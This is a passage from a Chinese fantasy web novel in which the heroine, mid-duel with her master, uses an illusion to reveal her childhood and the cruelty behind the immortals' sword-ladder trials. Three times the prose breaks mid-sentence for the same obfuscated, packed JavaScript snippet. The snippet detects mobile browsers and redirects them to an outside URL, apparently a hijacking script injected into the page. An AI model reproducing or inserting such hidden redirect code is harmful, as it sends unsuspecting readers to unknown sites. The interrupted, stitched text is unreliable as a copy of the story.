“春秋试剑,本来就是四社之中最强之人的对决,现在叶肃肃败给了谢无妄,谢无妄又败给了应有语,叶飞绝似乎也没有想要插手的意思,那么由不秋仙尊来迎战应有语,似乎也没什么问题……” 只是,这要怎么赢呢? 一个凡人,纵使手持两把神武,也不可能敌得过化神修士啊! 应宁身形稳如泰山,反问叶堪折道:“我赢了谢寻,却不算赢,那我想问问你,叶堪折,如果我没有出手,现在站在这里的就是谢寻,那么他呢?他算不算赢?” 她这一问,将在场的所有人都问得陷入了沉默。 是啊,这次试剑伊始,所有人默认的,都是谢寻对战叶肃肃,赢了就能继承春社。 也就是前段时间出了兰舟一事,所以可能谢寻还要再战一个叶飞绝,但也就仅止于此了,谁也没有想过不秋仙尊会出手。 毕竟叶堪折跟应宁、谢寻都是两个辈分的,又修无情道,按理来说,化神以下的胜负在他眼中都应该是俗务,根本不该沾染的,怎么胜者换成应宁之后,难度突然就被拔高了呢? 叶堪折不置可否。 他只是横过了怀中的梅梢月,右手虚虚放在了空空如也的琴面上。 “不秋仙尊要出手了!” 围观者俱是一震。 说时迟那时快,一阵清风拂过,一位蒙眼的白衣人手持折扇,忽然出现在了应宁身前,不过眨眼之间,可他衣摆却稳稳向下垂坠着,雪白的发丝也静静垂落,丝毫没有浮动。 · “好快!” 围观者简直挪不开眼睛,被这一出又一出的震惊给钉在了原地,仰头仰得脖子都痛了。 “这是兰舟上的那位尊者?竟然也能踏空而行,难道也是半步化神?” 有男性修士笑道:“本以为是谢二公子在放水,要上演一出恩爱好戏,却原来瀛洲玉雨另有良配,要轮到这位南门公子英雄救美了。” “可他哪怕真是化神,也是个瞎子啊……”有人疑惑道,“纵能听声辩位,如何敌得过天下第一音修的不秋仙尊?” “那可未必,”仙者懂得更多,猜道,“这位南门公子修折扇,你们看他衣摆,简直静若未动,方才从兰舟一步赶到云中道上,定是缩地成寸之法——他是风灵根!” “风灵根!” 最先害怕的,全都是叶氏的仙者。 “好古老的异灵根,有多少年不曾听说过了?”冬社的仙者自恃传承最早,都不禁惊道,“这是最克音修的灵根!” 风一起,声音连听都听不到,自然会被克得死死的。 叶堪折放在琴上的手生生停住了动作。 “谁?” 他皱眉问道。 南门春不回复他,只道:“叶堪折,你还没有回复殿下的话,今日贸然出手,是否有违无情道的道义?” 叶堪折答道:“无情道,我乃当世第一。” 言下之意,我比你懂,什么叫无情道义。 围观者都不禁笑了。 谁知南门春也微微一笑,顿时如春意盎然,淡淡道:“当世第一?不,不是你。” 叶堪折脸色骤然阴沉。 围观者哑然。 不是他,难道是你? 可这话还真没人敢断言,万一真的是这个姓南门的呢? 就连叶堪折都没敢贸然出手,而是与他相持不下,半晌没有回话。 南门春又道:“峥嵘虽曾是馨烈侯旧物,但如今馨烈侯已陨落,春社又无后人,神兵便已无主,认谁是谁的,现在已经认了殿下为主,仙尊何故阻拦?不如放她走吧。” 明明是同样的道理,叶堪折此前面对应宁,就跟不知道似的,现在听南门春一说,忽然又犹豫了。 围观者也纷纷道:“对啊,两个徒弟都修了魔,凭什么唯独难为殿下?” 叶堪折想了想,竟然真的重新竖起了琴。 更令众人没想到的事情发生了。 应宁竟然推了南门春一把,将他推搡到了一旁,冷笑出声,道:“谁要你在这里自作主张了?” 她居然不领情! “叶堪折,”应宁左手持剑,向上剑指叶堪折,道,“你不打就认输,打,我就让你输一个心服口服。” 所有人:“……” “嗬……” “好大的口气……” 叶堪折被她一激,立刻横过琴身,右手拨弦。 应宁却收剑,缠着红线的右手抛出了一枚骰子。 滔天的魔气瞬间席卷整个云中道。 叶堪折看到那骰子,只是皱了皱眉,依然冷漠,毫无惧色,拨响心弦,奏出一阵清音。 “开什么玩笑?”连凡人都知道,“以不秋仙尊的耳力,他会破不了妄语?” 然而令人震惊的是,叶堪折连奏几十声琴音,魔气竟岿然不动! 应宁的笑声回荡在黑雾中,清晰,甚至带着几分爽朗。 “如果我说,我说的全是真话呢?” 她说着,黑雾已罩住了整个云中城。 “我今天所言,句句属实,绝无一句妄语,不只是说给叶堪折听的,也是说给全天下人听的,”她语气中的笑意越来越深,此时甚至都有些欢快的意味了,“我要说的,是我真实经历过的事情,也是天下人都曾经历过、却被蒙在鼓里的事情—— “诸君可曾想过,我们每一个人,都只是一本书中的角色呢?” 叶堪折终于真正意义上的变了脸色,神色竟显露出一丝茫然与恐惧,与当初被阿蛮骂“不如妓、女”的叶肃肃一样,裂开了冷漠面具的一角。 · 每个人,无论凡人、仙者,此时再想逃,都已经晚了。 他们被困在了一方完全由应宁编织新天地之中,伸手漆黑不见五指,除非能抓出应宁的一句假话,否则就将永远耗死在这方幻境之中,这就是“乾坤一掷”的意思。 “她在说什么?” “我不信,什么书、什么角色?” “可笑,你才是骗子,应有语,放我出去!” “不、不对……若是假话,我们现在早就该出去了啊。” 应宁的笑声缠绕在每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841171|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人耳边,真如个女鬼般挥之不去。 “我活了两辈子,这些都是我的真实经历,”她道,“我说过,没有半句虚言。” 黑暗中,逐渐闪烁起一阵涟漪般的亮光。 众人循亮光看去,只见那是一排排阶梯状错落开的仙剑,剑身反着阵阵寒光。 一个幼小的身影站在最下方,艰难地向上攀爬。 仙剑全部都没有剑鞘,八岁的小女孩每爬上一层,身上都要多添上许多伤口。 爬到一半时,她向下望去,被惊人的高度吓哭了,再不肯向上。 可她哭了好一会,最顶端那模模糊糊的青色人影纹丝不动,她只得抹干眼泪,继续向上攀爬。 “我知道,”有人小声道,“这是真的,这是殿下第一次来云丘时,亲自爬云中道拜师的故事。” “仙途漫漫,求仙谁都难,”仙者对此不屑一顾,道,“给我们看这些,又有什么意义?” 那曾行刺过应宁的男人也在人群之中,低声道:“她求仙路难,就要我们凡人的人命为她铺路吗?” 最终,八岁的应宁也没有爬完所有台阶。 她遍体鳞伤,坚决不肯再向上了,坐在一柄仙剑上,与最高处的青衣人对峙,誓要饿死也不肯继续。 叶堪折只好把她拎了上去。 “你必须入我师门,”叶堪折教训她道,“这是天意,明镜台有言,三界命数在你一身,如不入我门下,恐三界有难,此乃逆天。” 小应宁抽噎着道:“太疼了,我宁愿逆天。” 围观者有的笑,有的叹。 “没想到,殿下也有如此不懂事的时候。” “可她当时毕竟也才八岁,一个凡人小孩,对她要求也太过了些。” 叶堪折无奈,只得道:“你若执意逆天,我只能将你交由云中太守处置。” 说完,他拎起小应宁,将她带去了玉京。 玉京在瀛洲之上,城内有三栋高楼,除了神女居所同梁格外,还有最高的一栋楼,名为天机处。 天机处树立着一尊不可名状的白玉雕像。 这便是镇守三界的云中太守。 有凡人问:“云中太守,真的存在吗?” 冬社的第一个答:“那是当然,知不知道白老板的兵器谱?谱上排名第四的空缺,就是云中太守,是因为避讳他名讳,才没写的。” 就连很多仙者都没搞明白,追问道:“他到底是什么?是兵器吗?” “人形兵器,”冬社的沉声道,“他是天道本身,仅仅是一个化身的肉身,就能排在兵器谱上,更别提自身的灵力可,据说他的实力甚至还远在馨烈候之上,是三界安危的最后一道锁。” 所有人都看得屏息凝神。 就连一直在奏琴、试图破开魔气迷雾的叶堪折,都停下了动作。 乐声都停了。 整个天机处冷得令人发抖。 雪落在这里,似乎都慢了一步。 画面中,小应宁抱着自己的双臂,被叶堪折关在了门后,独自仰头,看向楼内最高处的雕像。 所有围观者连同叶堪折,都随她一起仰着头。 那“白玉”雕像缓缓向她靠近,似在消融,一点点勾勒出了一个男人的身型。 最终,一个白衣男子降落在了小应宁面前。 他一头白发,眼前蒙着一条白纱,腰上别着一把白玉骨折扇。 一片黑色魔气中寂静如雪,只有南门春一人,周身笼罩着洁白的雪色,仿佛所有人都忘记了呼吸。 过了很久,才有人轻声说出口。 “他、他、他是……” “天道……” 28. 第 28 章 乐声停下,人声也停了。 这一刻,云中道旁的魔气已经愈发浓重,悄无声息地笼罩住了整个云丘。 城外的兰舟岛上,阿蛮抬头,与一众女子一起看着那魔气将整个岛屿都吞噬在内,低喃道:“这就是瀛洲玉雨的力量吗……” 因为所有人,都信了。 信众越多,妄语道的力量就越强。 岛底层中,六娘看着袭来的魔气,放下手中针线,不退不避,只是不适应地闭上双眼,可即使闭上双眼,即使兰舟已经离云中道很远了,她一个凡人,也能清晰地看看见幻象中,天机处里,那纯白的雪色身影。 “南门公子?” · “我为什么要顺应天道?” “你为什么要逆天而为?” “我怕痛。” 八岁的应宁遍体鳞伤,抱紧流血的双臂,坦然道:“我愿意为三界众生死,这是景朝皇室必须牢记在心的誓言,虽千万人吾往矣,我不怕死。可是登仙之路太长,爬天梯只是入门,就已经这么痛了,以后应当会更痛,我怕我忍不了后面的痛苦。” 虽是个孩子,小应宁讲起话来却条理清晰,十分成熟,并不是单纯因怕痛就闹脾气。 “三界命数,如何能只系于一人之身?”她道,“这对我来说太沉重了,我承担不起。” 六娘看得痴了。 在一片漆黑魔气中,六娘看不见自己的身体,只能感觉到自己腹中孩子的心跳,抚摸隆起的肚皮,轻声问道:“这是殿下吧?殿下这才多大年纪?” “八岁。” 三娘摸着黑地凑过来,与她紧挨着,以寻求安全感,道:“听说殿下八岁登仙道求仙,本无资质,是得了天道眷顾,才破格被录进不秋仙尊师门的。” “噢,”六娘恍然道,“原来如此,怪不得,都说殿下是天道眷顾之人。” 三娘还有不解,道:“南门公子又是怎么回事?” 她们继续看着。 只见南门春略一思索,伸出右手,掌心摊开,向应宁建议道:“那么,我取走你的痛觉,此后你就再不会痛了,如何?” 小应宁警惕地看着他的手,并不伸手附和,只问:“你怎么取走我的痛觉?” 南门春以剑指向她隔空一点,便从她眉心凭空抽出了一条极细的红色丝线。 “难容?” 云中道旁,连仙者们都看不明白了,互相低声议论起来。 “这难道不是魔尊的武器吗?怎么这个南门公子也会用?” “云中太守是天道化身,也就是真正的神,自然精通万法,会用魔道的法术应该也没问题吧?” “听说魔尊是妖修,神兽嘛,本就是半神之体,神与神之间应该也互有联络吧?魔界那边可是一直坚持认为,魔尊还没有陨落、根本就不会陨落呢。” “不对,你们仔细看,那线上没有火光,难容是带有魔尊真火的,它不是难容!” 南门春反手一勾,那红线就从应宁额间断开了。 “现在,”他问,“你还痛吗?” 小应宁放下抱紧自己的手臂,低头看着自己的身体,伤口还在,甚至睫毛上还有凝结的霜花,却惊讶道:“不痛了,也不冷了……不,还是冷的,只是一点都不难受了!” 冬社很冷,天机处的冷,更是一种彻骨之寒,此时她却全然不觉。 “你是怎么做到的?”小应宁追问道,“以后我也不会痛了吗?” “此法名为‘不解缘’,取的是你的感知,只要你身上的伤痕能触到你感知中的概念,那这份感知就会被这段缘线取走,”南门春摊开手掌,接住那截断开的红线,解释道,“这是天地人之道中的法术,等你参透三界万法,也能掌握。” 小应宁感慨道:“三界万法,如何参透?你多大年纪,看了多少年的书才能完全掌握?” 南门春一笑道:“我即天道,生来全知,与天地同寿。” 说完,他松开半握的拳头,掌心中的红线已化作一只编织精巧的绣球扇坠,坠中缠着一朵雪白梨花。 他放下手后,扇坠自行飘落至他腰间的扇子柄上,轻巧地打了个结,而后整个人缓缓向上,再次飞回到了天机处的楼顶,周身如积雪般缓缓堆砌起一层“白玉”,重新变回了那尊不可名状的人形白玉雕像。 如梦一般,唯一不同的是,那雕像中多埋了一条细细的红线。 · “三界万法……” 围观者如梦初醒。 连叶飞绝都看呆了,顿悟道:“传芳君的神武,也是取天地难容之意,想来他应该也是参透了天地人之道,才自创出的道法,难怪当年仙魔之战,能如此惊天动地。” 众仙者慨叹道:“仙界以剑为尊,本以为剑道就是最强悍的道法了,却原来魔界那些五花八门的歪道,也曾有这样深奥的理念。” 甚至有修士惊道:“我悟了……咦?我升至金丹后期了!” 不能悟道的凡人,则感慨道:“怪不得,都说瀛洲玉雨是天道眷顾之人,云中太守都尊称她为殿下了,我看这一战,说不得还真是她能赢。” 叛出师门的当天,以下犯上。 她若真能打赢当师尊的,那不秋仙尊也不用混了。 这样的议论一出,急促的古琴乐声再次响起。 叶堪折又出手了。 一曲《平沙落雁》响起,稍微扰乱了众人的视线,然而很快就有箜篌声也挤进了古琴的空隙,与他协奏起来,虽然听感无碍,魔气中的众人却再次看清了眼前的画面。 · 此时,雪光散去,黑暗中重新隐现出剑光的涟漪。 两个身影,站在了云中道顶端。 应宁十二岁了,长高许多,却仍是病态的枯瘦苍白。 她身边还有个小男孩,是十岁的谢寻,虽无病态,却也莫名畸瘦,比八岁时的应宁还矮半头,穿着一身过于宽大的金衣,站姿不端,手中随意抛掷着一只打着补丁的小破沙包。 两个孩子一起向下望去。 只见云中道底,又有一个八岁的小女孩,从第一柄仙剑开始,一级一级地爬起剑道。 那女孩穿着一身白衣,面色冷漠如雪,眼神并非成熟、不像一个八岁的孩子,而是根本不像人类,毫无感情似的,既无恐惧,也无委屈,爬得十分坚定。 “这是……”有人问道,“神女?” 有童声问道:“为什么殿下和神女都要爬剑道,谢二公子就不用?” “谢二公子八岁就能御剑了,直接御剑登仙,根本不用爬天梯,”秋社的侃侃而谈,“这样的绝顶天才,千百年内没有第二个,就连当年的馨烈侯,据说八岁时,也是这样一步步爬上来的呢。” 另一边的兰舟上,三娘也如是同六娘解释了。 她担心道:“你看,我听船上的姐姐们说,谢二公子当真是个天才,比馨烈侯的天资还高,虽说现在不如霜妃,可未来前途不可限量,也不知道殿下试剑的结果怎么样了。” 六娘不解道:“哪怕不是天才,等到会御剑之后,再去登那天梯不就得了,何必非要八岁就硬受这份罪呢?” 阿蛮的声音冷冷答道:“这就是馨烈侯师门的规矩。” “八岁入门登仙,若爬不上来,此后就再无机会了。” 于是,八岁的叶肃肃,就这样爬完了通天的天梯,浑身是血,却一滴泪都没流。 这就是神女。 十二岁的应宁早已准备好灵药和绷带,展开一张红狐裘,将八岁的小女孩卷住,小心地抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850565|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,走出了这吃人的登仙道。 “你不痛吗?” 应宁只是看着,脸上都有许多泪痕。 可面对她的问题,叶肃肃却只是看着她,漠然道:“哭有何用?” 小谢寻在一旁嗤笑一声,道:“你是心疼了,神女不稀罕你心疼呢,热脸贴人家冷屁、股了吧?” 众人只是看着,都不禁笑了。 “这小子……”秋社的仙者尴尬道,“从小就嘴里没把门儿,都被兰舟的婊、子给教坏了。” 有女人仗着身在幻境中,同秋社呛声道:“兰舟的常客还不就是你们姓谢的?自己家大业大,不管私生子死活,兰舟辛辛苦苦给你们养大了,见到小子出息了,才回来认人,真是好大的脸?” 秋社的气急,大声嚷嚷:“谁说的?站出来!” “我就说了,你拿我如何?” 所有人的声音都听得清清楚楚,连兰舟的阿蛮都喊道:“你们谢氏就是祖传的不要脸,谢寻也是个不分好赖的白眼狼!” 众人哄笑一番,只见那小谢寻正挨了个脑崩儿。 小应宁责备他道:“你既会御剑,叫你去冬社寻人帮忙说情,空手回来,还好意思讲?” “冤枉啊,”小谢寻向上指了指天,张口就来,“冬社长老说,天机处可不是谁都能进的,你以为谁都像你一样,有天道庇佑吗?我刚赶到摘星殿门口,就被他们毒打一顿,给扔下来了,现在屁、股还疼呢。” 小应宁闻言,眯起眼睛,打量他一番,不再说什么,继续去给小叶肃肃处理伤口。 烈酒浇在血淋淋的伤口上,叶肃肃咬紧嘴唇,一声不吭,把嘴都咬出血了。 小应宁注意到,取出一条帕子,折起来递给她,让她咬住,叮嘱道:“痛了就说出来,告诉我知道,听到没有?” 叶肃肃圆圆的眼睛盯着她,看了一会,才点点头。 小应宁给她处理着伤势,抽了一瞬功夫,闪电般出手,作势要去扒谢寻的裤子。 “哎!”谢寻连忙闪身,扔了腰上的仙剑,拽紧裤腰带,骂道,“你干嘛耍流氓?臭不要脸!当个师姐就能随便欺负人不成?” 小应宁冷笑一声,道:“你成日里鬼话连篇,说谎跟吃饭喝水一样自然,若真是被冬社的打了屁、股,就给我看清个清楚,是不是皮肉白白净净,连个巴掌都没有?” 谢寻食中二指向天,眼都不眨一下便道:“我如有半句谎话,让我全家不得好死!” “好,”小应宁抱着叶肃肃,道,“我正要去找师父,让他去和冬社说个清楚,凭什么非要让这么小的孩子来登仙道,趁机就一齐去问个明白。” 谢寻却蹦跳起来,一脚踩住剑柄,将剑身翻起,喊道:“我先走一步,师姐师妹慢走。” 说完,他御剑麻溜跑了,一看就是在心虚说了谎话。 围观的仙者看到这里,大都明白了怎么回事。 “就因为这么一件小事,她就杀了冬社的长老?” 真正的应宁冷不丁出声,质问道:“这是一件小事吗?” 她的叹息声在空中回荡许久。 “诸位仙者或许在仙魔两界混迹多年,已经见惯了生死,早已将这些事情当做小事了,”她又问道,“那么凡人怎么看呢—— “你们知道修这两条天梯,死了多少凡人吗?” 那行刺过应宁的男人,忽然沉声答道:“三年,共死一万三千一百二十六人,残八万九千九百九十八人。” 应宁还是在笑,只是笑声中透着深刻的无奈。 “爬这条天梯时,我师妹叶肃肃,也不过是个未曾筑基的凡人而已,而且年仅八岁。”她道,“是她命大,毅力顽强,所以没有死,若死了呢?” 死了,也不过就是死了。 29. 第 29 章 有人问:“神女不是不会死吗?” 应宁反问道:“传芳君是神兽之体,天生半神,又修至化神期大乘,现在安在?” 她身在黑暗中,也看着叶肃肃那幼小的身影,不住叹息。 “叶堪折,你既然说神女与天地同寿,不会陨落,”她又问道,“那你敢不敢现在就让她出来?” 乐声再次停下,叶堪折却只是沉默。 应宁逼问道:“说啊,到底有什么办法?” 叶堪折沉默许久,又听众仙者、凡人都忍不住犯嘀咕,才答:“等到她能现身时,自然就回来了。” 应宁冷冷一笑,评道:“废话。” 众人都低声质疑。 “可能是不秋仙尊性子清冷,不爱讲话,所以才不说清楚。” “但他这不是讲了一句废话吗?难道讲废话,就比讲清楚更麻烦?” 黑暗中,有那不怕死的凡人,竟直白地冷嘲道:“这个不秋仙尊也是看人下菜碟,刚才在南门公子面前,不是就挺讲道理的?到了殿下的问题,他就避重就轻了,怕不是根本什么都就不知道吧。” 叶堪折哪受得了凡人的侮辱? 一声古琴声响起,紧跟着又是一声箜篌声,迅速一并淹没在黑暗中。 “叶堪折,”应宁冷冷道,“你因一句话听不惯,就要对凡人下杀手,也配称仙尊?” 一石激起千层浪。 惊恐的声音此起彼伏。 “什么,不秋仙尊动手了?” “快放我回去吧,殿下,我还上有老下有小……” “说什么傻话?我们在殿下的庇佑中,是最安全的,出去了才是真不要命!” “没错。” 应宁肯定道:“诸位放心,有我在一日,谁也别想在我面前对凡人下手,哪怕我死了,做鬼也会从地狱里爬回来,给凡人主持公道。” 争论声这才渐渐止息。 幻境中,小应宁抱着小师妹,一步步走向城中郁郁葱葱的竹林。 · 天下灵脉,分五城十二楼,其中仙界叶氏就独占三城,分别是云丘、瀛洲、玉京,一城比一城高,每城内又各有三楼。 云丘有三座高楼,分别是云中道、千红窟、落月楼。 云中道虽高,却不住人,秋社围绕道边建社;千红窟的灵脉在水下,所以是向下筑巢,只能容纳水生的妖怪和鲛人;落月楼则是个传说中的地方,还远在无相兰舟之外,水天相接尽头,谁都不曾见过。 玉京的三座高楼,分别是摘星殿、同梁阁,天机处。 摘星殿是冬社修士共同的修习居所,同梁阁比它更高一层,只住冬社的管事长老,而天机处则是最高楼,自古以来,唯云中太守一人之塑像,神人不敢进犯。 谢寻十岁,还小,敲不开摘星殿的大门,也情有可原。 不过十二岁的应宁,抱着个八岁的叶肃肃,难道就能敲开了吗?所以她先是抱着小师妹,来到了一片郁郁青青的竹林。 瀛洲的三座高楼,分别是明镜台,天音寺,上品轩。 明镜台高悬在云中道顶端,也不住人,只有往来测试灵根、窥探天机的仙者,夏社与秋社类似,环绕此处而建社;上品轩从前归春社所有,自馨烈侯陨落以后,被各方瓜分,已渐渐成了白老板的产业,开在瀛洲列岛正中,专门卖东西的,周围还密布一大片商铺。 天音寺,则是不秋仙尊的道场。 叶堪折转修无情道后,就入了空门,不过是带发修行,此事鲜有人知。 仙界中人,连“天音寺”的名字都没听说过,只知道不秋仙尊跑去了一个鸟不拉屎的山林子里隐居,虽偏,不在瀛洲列岛正中的主岛上,但却压了条灵脉,而且僻静清凉,适合清修。 此处避世,对修无情道的人来说,是极为合适的。 只是苦了应宁这个凡人。 从主岛通向小岛,中途要走很远的路,赶很远的车。 应宁来自凡间,身上只有些许金银,没有灵石,等于是身无分文,又不会御剑,只能抱着遍体鳞伤的小师妹徒步走回去。 而且徒步还算简单的,穿过联通岛屿之间的浮空石板路,才是最吓人的。 叶肃肃到底还小,才八岁,又爬了十几天的剑道,受了一身伤,失血过多,被应宁喂过丹药,抱在怀里,没走多远就睡着了。 待到浮石路前,小应宁怕抱着孩子,掌握不好平衡,先把裹着披风的叶肃肃放在了路边,没想到才一放下,叶肃肃立刻就醒了,睁着圆圆的眼睛,面无表情地看着她。 “你先睡,”小应宁安抚她道,“等下我背着你。” 小师妹瞥了眼浮石路,漠然道:“我自己可以走,用不着你。” “说什么傻话。” 小应宁只是按住小师妹的头,使劲揉了揉,将她毛毛揉乱,然后把自己的外衣折成一个布兜,兜她起来,绑在自己的后背上,一手扶了她一把,向浮石走去。 “抱紧我,小心别掉下去。” 孩子没说话,但两条又短又软的手臂还是乖乖从背后伸出,抱住了应宁的脖子。 天音寺偏,浮石路远。 这里的浮石,与通往其他仙岛的路还不同,不是规整平坦的青石板,而是未加雕琢的天然石头,有些还长着青苔,容易打滑,有些则十分细小,只能踮脚通过,而且每踩一步,浮石都会不稳地下沉一段距离,像是要坠落云中。 小应宁走得十分小心,艰难迈向仙岛。 她伸手向后,掂了掂孩子。 小叶肃肃呼吸平缓,已经再次趴在她颈间睡着了。 · 天音寺十分破败,杂草丛生,像是遗迹,整座岛上唯有竹林深处的一间小佛堂有点人气,就是应宁自幼清修的地方。 “师父,”小应宁轻声道,怕吵醒了孩子,“我接师妹回来了。” 不过叶肃肃依旧敏锐,只待她步子一停,就立刻又醒了,趴在她背上支起头,看向前方。 叶堪折一袭青衣,盘坐在佛堂边的一间小亭中抚琴。 可那琴上无弦,琴外也无音。 小叶肃肃见到那琴,立刻推开应宁,自己挣开布兜,从她背上跳下,小短腿飞快跑到叶堪折面前,跪下行拜师礼,道:“冬社神女叶肃肃,拜见不秋仙尊,愿入仙尊门下,求学君子之道。” 那亭中施了清净咒,干净,却也冰凉。 小叶肃肃一跪在台阶前,身上的血污也便一洗而空。 叶堪折抚琴的手停下动作,问道:“我修无情道,你求君子道,何故求我?” 小叶肃肃一板一眼,对答如流:“尊者虽修无情道,却也曾修君子道,我愿步馨烈侯后尘,得尊者师传。” 叶堪折看着她,半晌,叹了口气,道:“三个徒弟,无一肖我。” 这便是同意收她为第三名徒弟了。 小叶肃肃当即叩首,从乾坤袋中取出一杯茶,双手敬给叶堪折。 叶堪折接过,却只将手伸出亭外,把茶水倒在了竹林地上,倒完,又将茶盏还给了小叶肃肃。 “师尊……”小叶肃肃愣了一下,问道,“你不饮茶吗?” 叶堪折反问道:“此茶有毒,我为何饮?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864413|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话,仙者皆欷吁不已。 “嚯……原来是冬社下手在先。” “一杯毒,也想骗过不秋仙尊的眼睛?”夏社的修士讥讽道,“音修皆同医理,不秋仙尊是医修出身,什么毒能听不出来?” 秋社的也嘲道:“老东西在玉京住久了,挨着天机处太近,就以为天道站在自己这边了,活腻了敢对不秋仙尊下手,活该被第一个端了。” 众人纷纷发表高谈阔论。 唯有六娘,轻声道:“他们不自己投毒,叫还是个孩子的神女去,也太过阴险。” 小叶肃肃见被识破,只呆了一瞬,便点了点头,站回到了亭外,神色透出空茫,又成了个木头小人,静等着新拜的师尊给自己判死刑,然而叶堪折双手又放回了琴上,开始无声地自顾自抚琴。 仿佛此事已经了结了。 “有毒?”唯有小应宁一个,是正常人反应,一步上前,抢过那茶盏,转向小叶肃肃,问道,“谁让你这么做的,冬社的执事长老?” 小叶肃肃并不答话。 “他让你爬了这么多天的剑道,就是为了让你给师父投毒?”小应宁怒道,转向叶堪折,将茶盏在他面前摔碎,握紧双拳,“虐待孩童,谋杀尊长,师父,你看看这像话吗?你管不管?冬社还有没有王法了?” 叶堪折只是淡淡答道:“仙界,本无‘王法’,只有道法。” 对要杀自己的人,都不给一个多余眼神,这才是真正的无情道。 小应宁却绝不同意,一手指天,道:“我在哪里,哪里就须以王法为尊,否则就算是天道的道法,我也要逆给你看!” 此言一出,魔气中鸦雀无声。 叶堪折抚琴的双手再次停下,问道:“你待如何?” 小应宁想了想,先按住小叶肃肃的肩膀,道:“师父,你先给她把身上的伤治了吧。” “?” 小叶肃肃抬头看着她,圆圆的眼睛里装满大大的疑惑。 叶堪折轻拨琴弦,瞬间一阵暖流,涌入了黑暗之中。 不止小叶肃肃被剑道划出的伤痕好了,魔气中的众人也似乎神清气爽许多,明明只是一重幻境,却竟然已臻化境之能。 可见所有人对应宁所言的过去,都已越信越深了。 幻境中,叶堪折面色仍无半分拨动,继续问道:“而后呢?你已满一十二岁,明镜台试灵,批命永无仙缘,想要如何逆天?” 小应宁抬头,望向天上遥远的玉京,答道:“我自来仙界后,见到这里有许多规矩与人间不同,很看不惯,既然三界命数在我一身,那三界如不遂我心意,我便干脆自戕,带走这个破烂仙界!” 叶堪折无语片刻,只得道:“那如何才能遂你心意?” “我先立下三条王法,一不许赌,二不许嫖,三不许私自械斗,如有不从,杀无赦,”小应宁想了想,补充道,“此次冬社逼师妹登仙、给师父投毒,可等同于私自械斗,该当以命还命,法不溯及以往,所以还要在颁布令行之前,去找冬社的先把这笔恩怨讨还回来!” 叶堪折点头,答应了:“如你所愿。” 至此,众人不禁开始碎碎念了。 “所以……连诛三社长老,就真的只是因为她一句话?真就这么简单?” “不是……这是什么命啊,天道眷她不说,不秋仙尊也这样宠她?” “别忘了,还有少年天才的谢二公子,不是也奉她为白月光吗……” 在羡慕、嫉妒的话语声中,唯有应宁在自嘲地冷笑。 曾经,也只因他一句话,刀山火海她都敢闯。